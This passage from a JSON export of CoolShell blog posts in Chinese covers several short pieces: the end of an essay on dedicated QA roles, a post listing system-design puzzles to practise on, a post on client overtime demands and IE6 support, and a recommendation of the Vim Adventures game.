等等，等等。\n\n\n如果没有QA，那么就没有这么多事了，DEV自己的干出来的问题，自己处理，没什么好扯皮的。\n\n\n而一方面，QA说Dev不懂测试，另一方面Dev说QA不懂技术，而我们还要让他们隔离开来，各干各的，这一点都不利于把Dev和QA的代沟给填平了。**要让Dev理解QA，让QA理解Dev，减少公说公有理，婆说婆有理的只站在自己立场上的沟通，只有一个方法，那就是让Dev来做测试，让QA来做开发**。这样一样，大家都是程序员了。\n\n\n**3）吃自己的狗食**\n\n\n真的优秀的开发团队都是要吃自己狗食的。这句话的意思是——**如果你不能切身体会到自己干的烂事，自己的痛苦，你就不会有想要去改进的动机**。**没有痛苦，就不会真正地去思考，没有真正的思考，就没有真正的进步**。\n\n\n在我现在的公司，程序员要干几乎有的事，从需求分析，设计，编码，集成，测试，部署，运维，OnCall，从头到尾，因为：\n\n\n* 只有了解了测试的难度，你才明白怎么写出可测试的软件，怎么去做测试的自动化和测试系统。\n* 只有自己真正去运维自己的系统，你才知道怎么在程序里写日志，做监控，做统计……\n* 只有自己去使用自己的系统，你才明白用户的反馈，用户的想法，和用户的需求。\n\n\n所以，**真正的工程师是能真正明白软件开发不单单只是coding，还更要明白整个软件工程**。只明白或是只喜欢coding的，那只是码农，不能称之为工程师。\n\n\n**4）其它问题**\n\n\n* **关于SDET**。全称是Software Development Engineer on Test。像微软，Google， Amazon都有这样的职位。但我不知道这样的职位在微软和Google的比例是多少，在Amazon是非常少的。那么像这样的懂开发的专职测试可以有吗？我的答案是可以有！但是，我在想，**如果一个人懂开发，为什么只让其专职做测试呢？这样的程序员分工合理吗？把程序员分成两等公民有意义吗？试问有多少懂开发的程序员愿意只做测试开发呢？**所以，SDET在实际的操作中，更多的还是对开发不熟的测试人员。还是哪句话，不懂开发的人是做不好测试的。\n\n\n* **如果你说Dev对测试不专业，不细心，不认真**，那么我们同样也无法保证QA的专业，细心和认真。在Dev上可能出现的问题，在QA也也会一样出现。而出了问题QA不会来加班解决，还是开发人员自己解决。所以，如果QA不用来解决问题，那么，QA怎么可能真正的细心和认真呢？\n\n\n* **如果你说不要QA的话，Dev人手会不够**。你这样想一下，如果把你团队中现有的QA全部变成Dev，然后，大家一起开发，一起测试，亲密无间，沟通方便，你会不会觉得这样会更有效？你有没有发现，在重大问题上，Dev可以帮上QA的忙，但是QA帮不上Dev的忙。\n\n\n* **第三方中立，你会说人总是测不好自己写的东西，因为有思维定式**。没错，我同意。但是如果是Dev交叉测试呢？你可能会说开发人员会有开发人员的思维定式。那这只能说明开发人员还不成熟，他们还不合格。没关系，只要吃自己的狗食，痛苦了，就会负责的。\n\n\n* **磨刀不误砍柴功**。如果你开发的东西自己在用，那么自己就是自己天然的QA，如果有别的团队也在用你开发的模块，那么，别的团队也就很自然地在帮你做测试了，而且是最真实的测试。\n\n\n* **你可能会说吃狗食就是个笑话，因为如果是我，我把事干烂后，就离职走人了，让别人去吃我的狗食**。这个在现实中的确会发生，也是很现实的。但是想一想，你为什么在一开始让他把事干烂了？另外，如果你的团队在设计评审和代码评审里没有把好关，让某人把事给干烂了，那么这个人的离职带来的问题还是这个团队来扛，于是整个团队都在吃自己的狗食，挺公平的。痛苦过一次，你的团队下次怎么干了，就不敢乱招人了，就不敢随意评审代码了，就不敢让人只做一块东西了。最终还是没有逃脱吃狗食的范畴。\n\n\n* **关于系统集成测试。**所谓集成测试，就是把多个开发团队开发的模块集中起来测试。因为开发人员可能无法看到全局，不了解别个团队的系统，而且步调不一，所以需要有统管全局的专职的QA进行统筹规划并做测试。对这个方面，我并不反对，在实际操作过程中，好像的确用专职的做集成测试的QA统一调度各团队的时度更有效一些。不过，这还是不能让我停止去思考两个问题，1) 如果开发人员看不到全局，他能开发出更好的软件吗？2）这个全职的做集成测试的QA难道不能是各个团队的骨干Dev来组成吗？3）统一调度这个事，不更像是Project Manager要做的事吗？\n\n\n* **关于自动化测试**。所谓自动化的意思是，这是一个机械的重复劳动。我想让测试人员思考一下，你是否在干这样的事？如果你正在干这样的事，那么，你要思考一下你的价值了。但凡是重复性比较高的机械性的劳动，总有一天都会被机器取代的。\n\n\n* **关于线上测试**。我们都知道，无论自己内测的怎么样，到了用户那边，总是会有一些测试不到的东西。所以，有些公司会整出个UAT，用户验收测试。做产品的公司会叫Beta测试。无论怎么样，你总是要上生产线做真正测试的。对于互联网企业来说，生产线上测试有的在玩A/B测试，有的玩部分用户测试，比如，新上线的功能只有10%的用户可以访问得到，这样不会因为出问题让全部用户受到影响。做这种测试系统的人必然是开发人员。\n\n\n好吧，我暂时写这么多，我会视大家的讨论再补充我的观点的。\n\n\n***—– update  2012/4/11—–***\n\n\n一些人觉得我是在泄私愤，我能够理解为什么我会被这样误解，但是没有关系，很多新东西新观点总是会被误解的，我坦然面对。请大家抛开我的这些情感因素，单纯的思考一下，没有专职QA的的团队架构是否有积极的意义在里面？\n\n\n**再补充一点，大家思考一下，QA是保证质量的，但是很多QA是在做测试，软件质量是测试出来的吗？如果不从需求分析，软件设计，代码实现上做好控制，到测试的时候你还怎么保证质量呢？**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [我们需要专职的QA吗？](https://coolshell.cn/articles/6994.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-4-17 挑战无处不在.md",
    "content": "---\nlayout: post\ntitle: 挑战无处不在\ndate: 2012/4/17/ 2:6:16\nupdated: 2012/4/17/ 2:6:16\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2012/04/11_154056_1-300x225.jpg \"解决问题\")面试过一些应聘者，当我问到为什么换工作的时候，**他们都会告诉我，现在的工作没有挑战，无聊，所以想换一个有挑战的工作**。于是我问了一下他的工作情况，发现那些有挑战的东西他还没有搞懂。我总是为有这样的认识的朋友感到惋惜，因为我总是认为有挑战的东西无处不在啊，不能因为工作上没有，自己就放纵了自己。比如，面试过一个做地图的工程师，他的工作是做计算地图上任意两点的最短或最优路径的一部分功能。我觉得这个事很有挑战，也有难度，应聘者说，没什么挑战，因为他做的东西只是调用相关的算法库。他在这个项目干了2年了，当我问他有没有看过算法库，知不知道地图是怎么存储的？他却告诉我，**因为没有去做，所以就没有去了解，等做的时候再了解**（我希望有这样想法的人都去看看[程序员的谎谬之言还是至理名言？](https://coolshell.cn/articles/4235.html)）。这样的例子很多，很多应聘者在面试中不能和我一起解决某个问题的时候，比如：OOD，数据库设计，系统设计，等，**他们都会告诉我，不好意思，因为没有做过相关的事情，所以就不懂了，所以，他需要一个像我们这样的项目来学习和锻炼**。我并不要求你能解决你所不擅长的问题，但毕竟数据库，OO，系统设计都是软件开发的基础知识，多少要懂一些吧。\n\n\n但另外一方面，他们都会告诉我他们对技术充满和热情和兴趣，有着很强的学习能力，也有很能吃苦的态度。这也许是某面试宝典上看来的，面经上可能都会说，如果面对不能作答问题，可以说一下自己的态度和决心。可惜的是，我并不这么想的，我在我的两篇关于招聘的文章里（[我是怎么招聘程序员的](https://coolshell.cn/articles/1870.html \"我是怎么招聘程序员的\")，[再谈我是怎么招聘程序员的](https://coolshell.cn/articles/4506.html \"再谈“我是怎么招聘程序员的”（上）\")）都说过一些我对如何择人的想法。这里重点说明一下其中两个观点：\n\n\n* **关于热情和态度，说白了就是不要给自己找借口**。比如：“工作忙事多没时间学所以可以不懂”，“工作中没用到所以可以不懂”，“工作没有挑战，一直没有遇到合适的项目”等等。时间可以挤，工作之余可以学，随时随地去思考，挑战是无处不在的…… 想想那些你有热情的事，你会发现，几乎没有什么可以阻止你去做那些事。\n\n\n* **对于某些事情，如果以前没有在你身上发生过，那么这个事情在未来也不会发生**。如果你以前没有对你接触过的东西去学习，去深挖，去思考，去改善，那么我不会相信你会在未来面对新的东西的时候也会有这样的态度；如果你以前没有用业余时间学习一些项目之外的东西，那么我也不会相信你会在未来会这样做；如果你以前没有把你的热情和态度转换成你的知识，经验和成果，那么我也不会相信你会在未来能做到。\n\n\n这两个观点可能太刻薄了，但是，当我回想我自己的经历的时候，观察程序员的成长过程的时候，我发现，优秀的程序员都是相似的，当他们还在是一个菜鸟的时候，就已经有各种成为高手的苗头了，这些苗头就是——**他们热爱思考，喜欢解决难题，对新鲜事物非常好奇，总是找人讨论，可以用自己的业余时间狠命研究很多和工作无关的技术，会在业余的时间里写些有趣的小程序，或是会把自己的思路书写下来，等等，等等**。\n\n\n\n#### 一些问题\n\n\n我这样说，大家可能会觉得“挑战无处不在”这句话太虚了，而且可能不明白什么叫“热爱思考”，这里，我把我的或别人的思考的东西罗列一下，这些问题，有的会让我思考推敲，有的会让我疯狂地查资料，问人，或是找人讨论，询问。大家不妨可以跟着我一起思考一下。\n\n\n酷壳上有一些小问题，比如：[火车运煤问题](https://coolshell.cn/articles/4429.html \"面试题：火车运煤问题\")，[赛马问题](https://coolshell.cn/articles/1202.html \"面试题：赛马问题\")，这些问题都不够实际，我觉得也这些问题有点无聊，我们不妨观察一下我们身边的东西，我们就可以看到很多有挑的战的东西，对于这些问题，如果是你来做，你会怎么做呢？\n\n\n0）许多年前，当我看到珊瑚虫QQ把IP转成地实际地址的时候，我就在思考，如果我有一个IP网段的数据（[全球IP地址数据](https://coolshell.cn/articles/244.html \"全球IP地址数据库\")），我怎么来完成这个功能呢？比如：某地点的IP网段是：10.10.1.\\* – 10.10.5.\\*。我要有一个IP地址是：10.10.3.20，我怎么匹配这个网段？用Hash表吗？好像有问题。把IP字串转成整型？排序+二分法，好像更容易解决一些，但是如果有一些修改的话好像有点不方便。用树型结构（森林）会不会更好一些呢？如果我要通过地点反查IP段呢？\n\n\n1）网上短网址服务，你有想过这个短网址生成的算法是什么，如何能做到能最短？怎么查询？你也许觉得会用key-value的NoSQL。那么，如果对于同一个URL，如果要重用已生成的短网址，你怎么用key-value的NoSQL来解决？\n\n\n英汉词典的检索和这个很相似，如果通过英文查汉语，又通过汉语查英文？如果是N多种语言的互相翻译呢？你的数据存储和检索如何做呢？\n\n\n2）当我看到Dropbox这样的云同步的软件的时候，我不知道你是否会和我一样会去思考，在多个设备间的文件同步是怎么做的？如果网盘上有几万，甚至几百万个文件，当要和我的本地数据同步时，他如何比较经济地知道哪些文件更改了？需要向服务端同步或是向客户端同步。更进一步，你有没有想过没有中心结点的文件同步问题？你有没有想过，文件冲突的问题？\n\n\n3）我们的新员工入职的时候，有一些公司会给新员工的帐号生成一个随机口令，然后新员工可以在登录后修改口令（我一直在想我们的银行应该为用户生成一个随机口令，而不是设置一个6个0或是6个8的初始口令）。那么，对生成随机安全口令的算法知道怎么做吗？如果你写出这个算法来了，你怎么证明这个算法是足够随机，生成的密码强度足够大的？（你会发现，测试口令是否随机是否安全的程序，会比生成器更难写）\n\n\n4）关于动态密码RSA SecurID（如下图），这个小设备上的6位数字会每60秒变一次，在你登录的时候，需要输入这6位数字，服务器上会认证这6个数字，那么这个事怎么做？再试想一下，这样的小设备我要发给我的客户，我希望我的每个客户都使用不一样的随机算法，就算是算法一样，算法的种子也不能一样。那么，如果我的客户一共有百万甚至千万，我的服务端怎么管理这些用户的SecurID？\n\n\nhttp://keithelder.net/blog/images/keithelder_net/blog/WindowsLiveWriter/SettingupRSASecureIDonWindowsMobile_A318/image_1.png \"RSA Secure ID\"\n\n\n5）看看我们的网银或是ATM的用户登录功能，如果你登录时输错口令超过3次以上，你的帐号就会被冻结，需要去柜台重置口令。这个功能看上去很安全，因为可以防止黑客在线尝试破解你的登录口令。不过这又带来了另一个问题，如果有一个恶意用户知道你的卡号，他就上网或是造个卡故意输错你的口令，导致你的帐号被冻结，让你一次又一次地去银行排队重置。面对这样的情况，你该怎么解决？\n\n\n6）当你在网上购物的时候，你会去一些电子商务的网站，这些网站都会对他们的产品进行分类，有大分类有子分类。你进到分类后，你可以通过不同的属性来过滤不同该分类下的商品，注意，不同分类下的商品的过滤属性不一样，如，手机分类和电视分类的属性都不一样。试问，你如何设计你的数据库表结构？\n\n\n7）当你在泡各种论坛或SNS社区的时候，你会看到，用户在互相回复的时候存在一个问题，尤其是用户量很大的时候，大家的回复完全交织在一起什么 也看不清楚。以前有的论坛使用树形列表来解决这个问题，树形列表好是好，但是把一棵大树放在那里还是很难看。Twitter.com给了一个非常不错的解决方式，就是所有人的回复或是回复的回复都按时间线放在一起，如果你要查看某回复的上下文的话，点击一下这个回复就可以看到了（我在我在“[国内微博和Twitter的最大不同](https://coolshell.cn/articles/5247.html \"国内微博和Twitter的最大不同\")”中批评过这个事）。新浪微博在禁评论事件后也开发出了这个功能。你知道这个事怎么做吗？\n\n\n更进一步，新浪微博的设计上有很多的缺陷，单说新开发的“查看评论”功能这个事来说，还是不完美，因为某些评论会随着转发带到别的地方去，他的“查看评论”功能只能看到当个贴子下的东西，不能把所有转发出去的贴子的评论一起综合起来。虽然这对于用户使用来说没有什么在不了的，但是对于软件设计来说，我们不妨做一个练习，可以思考一下，怎么样设计会更好。\n\n\n再举一反三，有时候，我发现多个网友会提出同样的问题，我很想用一个回复同时回复他们。如果有这样的功能的话，我们的回复就会从一个树形变成另外一种形状了，我们又该如何设计才能支持这样的功能呢？\n\n\n8）说到新浪微博，我就想多说几句，我最近观察到了两个事：\n\n\n* 一个是验证码的事，如果你在你的帐号设置里设置了“登录需要验证码”，你会发现，在登录新浪微博的时候，仅当你输对了口令后，系统才会提示你输入验证码。为什么呢？因为，这个“登录需要验证码”这绑定在你的帐号设置里的，所以，要取这个设置，就需要你登录成功（？！），老实说，这个功能在设计上有点二（中国特色）。如果是你，你怎么设计呢？\n\n\n* 另一个事情是新浪微博或Twitter的用户名修改后，被他人@过的信息就再也链接不到你这里来了。我们来试想一下，如果是你，你怎么解决这个问题？（我的[我的微博里讨论过这个事](http://weibo.com/1401880315/yclT9m6Fp)，不一定对，供大家参考）\n\n\n9）我有时候我会发一些快递，有时候是一些小东西，有时候是一些大包裹，有时候近，有时候远。我发现一个有趣的现象，就是快递员来收件的时候，快递的价格都是快递员自己说了算的，我还可以和他们砍价。我观察到他们会以距离，重量大小来订价。于是我在想如果你要运营一个物流公司，你作为这个物流公司的程序员，你需要开发一个软件来标注快递价格，你会怎么做？比如，这个快递公司会说，在北京五环以内是一个价，以外是一个价，出省后，上海以北是一个价，上海以南是一个价，等等，这只是北京的，如果把全国的各个城市到别的城市的价格都考虑进来，还要受到重量，体积，价格，是否加急等等因素的影响，你的数据库设计要怎么做呢？\n\n\nA）国内的水军太恐怖了。他们活动的刷排名，刷信用，刷积分，刷粉丝等等地方，你是否想过如何解决这个问题？还有广告联盟的欺诈问题，等等。这些东西，有的还是可以通过技术手段进行限制和计算的，你有思考过应该使用什么样的方法吗？\n\n\nB）说到水军就不能不提垃圾邮件和垃圾短信。你有没有想过邮件系统怎么过滤垃圾信息的？\n\n\nC）关于推荐功能，这必然是一个热点，这是软件产品从request -> response的被动方式到主动方式的进化。微博上有推荐关注者的功能，电商有推荐商品的功能，豆瓣上有推荐影片音乐书籍的功能。不同的领域的推荐算法各不相同，你有没有思考过，如果是你来做推荐算法的时候，你会怎么做吗？更进一步，推荐通常伴随着学习和匹配，学习用户的行为，匹配相似的东西，你想过怎么学习用户的行为，怎么匹配相似的东西了吗？\n\n\nD）关于微博，某名人有几千万的粉丝，当这个名人发一个微博的时候，需要通知这几千万个粉丝，这个在系统架构上应该怎么做？如果某天这个名人与人发生口角，和人吵架，拼命的刷微博，那么，系统架构要怎么设计才能支持这样的事呢？\n\n\nE）想想火车票的分段卖票的方式，现有的解决方案是为每个站点预留票，于是我们可以看到火车始发时，有很多空坐，这些空坐都是留给下一个站点的，我们能否开发出一个系统来，可以把一条线上的这些这站上那站下的旅客统筹规划一下，制定出一个最经济的方式，让火车运行得更有效。\n\n\nF）对于地铁公交网络，我们希望这个网络既能有更多的覆盖，又能节省路线，你能不能设计出一个系统，当我们输入一些数据（如：站点，是否终点或起点站，该站的下一站可能方向（多个），该站是以上车为主，还是下车为主，等等），你的系统能自动安排出各种线路吗？\n\n\n**这样的问题实在是太多了，都是可以让我们去思考的，并不一定有经济效益，但是至少可以让你锻炼一下怎么去分析问题，怎么去思考，怎么去解决问题**。\n\n\n#### 总结\n\n\n综上所述，我想说的是：\n\n\n1） 只要你想，挑战是无处不在的。那怕是你现有的觉得无聊的东西，只要你想做到极致，那怕是一个简单的功能（比如[用户登录的功能](https://coolshell.cn/articles/5353.html \"你会做Web上的用户登录功能吗？\")）也会让你充满挑战。\n\n\n2）观察身边的事物，去思考，去调查，举一反三，这才是你成长的源泉。不要把你的成长推给客观原因。\n\n\n3）我的[软件开发的三重门](https://coolshell.cn/articles/6526.html \"软件开发的“三重门”\")中说过，第三重门是解决实际问题，让你的业务处理更为的智能，更为地强大。我不知道为什么这一两年，我们的圈子里所有的人都在关注着“云”，“海量数据处理”，“高性能架构”这样的东西，尤其是那些性能调的高性能的东西并不很难，而这些更为实际问题更有挑战性，也更有前景。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [挑战无处不在](https://coolshell.cn/articles/7048.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-4-19 这到底是谁之错？.md",
    "content": "---\nlayout: post\ntitle: 这到底是谁之错？\ndate: 2012/4/19/ 2:11:5\nupdated: 2012/4/19/ 2:11:5\nstatus: publish\npublished: true\ntype: post\n---\n\n【感谢 @[风枫峰](http://weibo.com/hfcc?source=webim \"风枫峰\") 投递本文】\n\n\n**故事一：**  \n\n背景介绍：RT是一个外包公司，ZWZX是项目承接公司，YD是甲方。\n\n\nRT公司每天下班的时候都会接到ZWZX负责人的电话，询问一天的工作情况，然后布置任务要求晚上加班做完，RT公司的员工很无奈也很气愤因为每天都要加班，员工们就问项目经理：“为什么天天加班赶需求，今天才提一个需求，明天就要上线，还让不让人活了?” 项目经理无奈的说：“我有什么办法啊？这是人家ZWZX负责人说的啊，对方逼得紧。”\n\n\n多次以后项目经理也忍不住了，就问ZWZX的负责人怎么天天这样啊，ZWZX的负责人就说了:”明天就要向YD的负责人展示这个页面，我也没有办法啊？YD那边老总就是这么要求的，我怎么办，我也不想这样啊？”\n\n\n然后RT的项目经理实在受不了了就辞职了，新上任的项目经理又会走他的老路，因为从开始我们就被培养“满足客户的需求是最重要的”。RT的员工也就这样一直抱怨着，一直忍受着。天天在心里咒骂YD的老总真是没有人性，不拿人当人看啊！\n\n\n人换了一批又一批，加班也就慢慢的变成了应该的，你不加班说明你不敬业，不合格。\n\n\n**故事二：**  \n\nIE6一直存活着，所有的前端开发人员都痛恨它，都不想兼容它，可是产品经理看到IE6的市场占有率还是这么高，就会要求前端开发人员必须兼容IE6。\n\n\n\n矛盾又来了，就像故事一一样，前端开发人员天天抱怨，产品经理也天天抱怨，但是面对IE6的市场份额，产品经理会劝开发人员说：“我有什么办法啊？IE6的市场份额就是这么高，不兼容怎么办啊？我也不想啊！” 开发人员也就这样忍受着，然后不断地抱怨用IE6的用户低端，没文化，怎么还用IE6啊！天天兼容IE6就够烦的了，还怎么创新啊！\n\n\n**这两个故事里出现的问题到底是谁的错误引起的？**\n\n\n故事一的罪魁祸首是YD的老总吗？\n\n\n故事二的罪魁祸首是那些还用着IE6的用户吗？\n\n\n从这两个嫌疑最大的罪魁祸首眼中看一下这两个故事：\n\n\n**故事一：**  \n\n我是YD的老总，我要建立一个网站，找到了ZWZX公司，签订了合同，我提需求他们实现。\n\n\n我不懂制作网站，可是我才思敏捷，创意无限，不停的会有好点子从我的脑海里蹦出来，每当有一个好点子蹦出来后，我都会给ZWZX公司的负责人讲清楚我的想法，让他实现，开始我不知道做一个页面需要多长时间。第一次我试探性的说了一周必须把我这个点子做出来，ZWZX公司负责人很痛快的答应了，一周后我果然看到了这个功能。\n\n\n可是会不会我给他们的时间太长了？对！肯定是，要不也不会答应的这么痛快。这些人啊！天天就是想拖时间，好多骗我点钱。\n\n\n点子又来了，这次我要求5天做出来，这个点子和上个点子类似，我倒要看看5天能不能做出来~  ZWZX公司负责人一副痛苦的表情，我会不会逼的太紧了，5天是不是真的做不出来？到时候看看吧，如果5天没做出来估计是我给的时间太少了。\n\n\n5天过去了ZWZX公司的负责人很高兴的拿出了我要的功能实现，哎，看来开始真的骗了我两天。就是不知道5天会不会还是多了啊？下次给3天~\n\n\n又拿出来了，虽然他装的好像时间太紧似的，可别以为我不知道，你第一个功能最多3天就做出来了，我还给了你7天的项目经费，你们多赚了我多少啊！！！！ 真是没良心。 下次1天！！！\n\n\n啊啊啊啊啊啊啊啊!!! 1天就出来了，这些人。。。。。  有没有良心，原来做这个这么简单，以后就给1天，不 ！ 一天N个功能。\n\n\n**故事二：**  \n\n我买了个电脑，没什么别的用途，就是打开电脑上上网，上上QQ和儿子聊聊天，QQ是儿子给我装上的，这样我就可以和他视频了。有一次QQ提醒我说我的QQ版本太低了，不能视频了，我打电话问儿子，儿子说按提示升级一下QQ就行了，呵呵，我按QQ的提示，儿子的指示一步一步的升级QQ成功了，看来电脑也不难啊！\n\n\n**到这里您认为开始的两个故事的罪魁祸首是谁啊？**\n\n\n我们一直以加班，甚至通宵去满足客户不合理的要求，只因为他是客户。只因为人人都认为满足客户的要求是我们最大的  \n\n价值，可是不合理的要求不能去拒绝吗？套用刘欢说的一句话“我们是不是活的应该有些尊严”，一味的迎合客户，只会让我们自己越来越痛苦，反而得不到用户的尊重，肯定。\n\n\n我一直有个疑惑，很多人说网站不支持IE6，而选择让用户去升级IE，这样的用户体验不好！如果按照按照这个逻辑，是不是我们都应该是Web应用，而且都应该是IE6下的Web应用呢？为什么微软还要出WIN8，一直XP不是挺好的吗？让用户升级系统，用户体验多么不好啊？QQ，360，搜狗输入法，等等客户端软件用户体验不都不好吗？ 都还要用户下载。\n\n\n实在搞不懂为什么我们做个东西非要去支持IE6呢？检测到用户是IE6，给个提示，给个升级链接不就行了？ 这样做用户体验是有多么不好吗？ 你天天去支持IE6，还要天天磨叽用户使用IE6，你不觉的很矛盾吗？再说我一个普通用户，你如果不提醒，我怎么知道要升级IE6啊？\n\n\n**对于遭遇了故事一，故事二的人只能送上一句话“哀其不幸，怒其不争！”**\n\n\n原文链接：<http://hfcc8685.github.com/blog/2012/04/19/shui-zhi-cuo/>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [这到底是谁之错？](https://coolshell.cn/articles/7126.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-4-26 游戏：VIM大冒险.md",
    "content": "---\nlayout: post\ntitle: 游戏：VIM大冒险\ndate: 2012/4/26/ 0:22:22\nupdated: 2012/4/26/ 0:22:22\nstatus: publish\npublished: true\ntype: post\n---\n\n不知道大家是否还记得“[Vim简明攻略](https://coolshell.cn/articles/5426.html \"简明 Vim 练级攻略\")”呢？你是不是对Vim的那一大堆热键很头痛呢？现在好好，下面这个游戏是一个使用VIM热键玩的游戏。你可以在玩游戏的过程中熟悉Vim的热键。\n\n\n**你可以点击图片，或是图片下的网址打开这个游戏**\n\n\n**<http://vim-adventures.com/>**\n\n\n[![VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun.jpg \"VIM Adventures\")](http://vim-adventures.com/)\n\n\n我试玩了一下这个游戏，真的很不错，下面是一些我给的游戏攻略。\n\n\n\n* 第一关，场景一，首先是使用vim的h, j, k, l四个键来控制方向。（如果你妄图使用光标键的话，系统会出现黄色警告的）你需要使用h, j, k, l 四个方向走到图的右边，找到一把钥匙。（注意：迷宫墙上有些斜面，你可以通过斜面），找到钥匙后，钥匙会出现在你的右上角的位置，示意着你的光标要向那个方向移动，当你到达一个门的时候，会自动开门，进入第二关。\n\n\n* 第二关，每一关的小人都会给你一些英文提示，教你怎么玩。关于第二关，你会看到你过不去，小会提示你，那些绿草地就向我们文件中的行，你在行上按上下键，光标会在这一列上移动，如果这一下面的一行没有这么长，光标会到行尾。这个vim的特性会告诉我们如何过这一关——移到最上面的行尾（因为是最长的可以越过最下面的障碍），然后按下光标键，到最后一行时你就会发现光标已经过了阻碍。如此通过第二场景，达到一个小人后，按下键，进入第二关。\n\n\n* 第三关，我们可以看到地图上有很多的字母，我们还可以看到有两个键，一个是w，一个是e，我们可以把光标移到w上吃到w后，我们就可以使用w键了——以单词为单位移动光标，这样，我们就可以吃到e了和第一把钥匙，我们按w和e我们就可以看到这两个按键都是以单词为单位移动光标的，一个是单词头，一个是单词尾（参看我以前给大家的[vim按键速查卡](https://coolshell.cn/articles/5479.html \"给程序员的VIM速查卡\")）。然后，我们在最后一行通过单词跳跃到最右边吃到b—— 回到该单词的头，可以得到第二把钥匙。然后往上走，使用b 和 e键拿到第三把钥匙。然后就可以打开三个门通关了。\n\n\n[![Vim Adventures 第三关](../wp-content/uploads/2012/04/vimadventuresgamefun02.jpg \"Vim Adventures 第三关\")](http://vim-adventures.com/)Vim Adventures 第三关\n然后，就需要你注册才能玩了。作者说，因为需要发的邮件太多了，所以现在系统发不出邮件了，请等待。所以，不知道作者是用来收集邮件的，还是没有开发完，不过，**这个游戏的创意实在是太赞了**。推荐给大家。\n\n\n**哪位会做游戏又熟Vim的朋友也能做一个？**\n\n\n（全文完）\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![主流文本编辑器学习曲线](../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg)](https://coolshell.cn/articles/3125.html)[主流文本编辑器学习曲线](https://coolshell.cn/articles/3125.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/3083.html)[三个教程](https://coolshell.cn/articles/3083.html)\n* 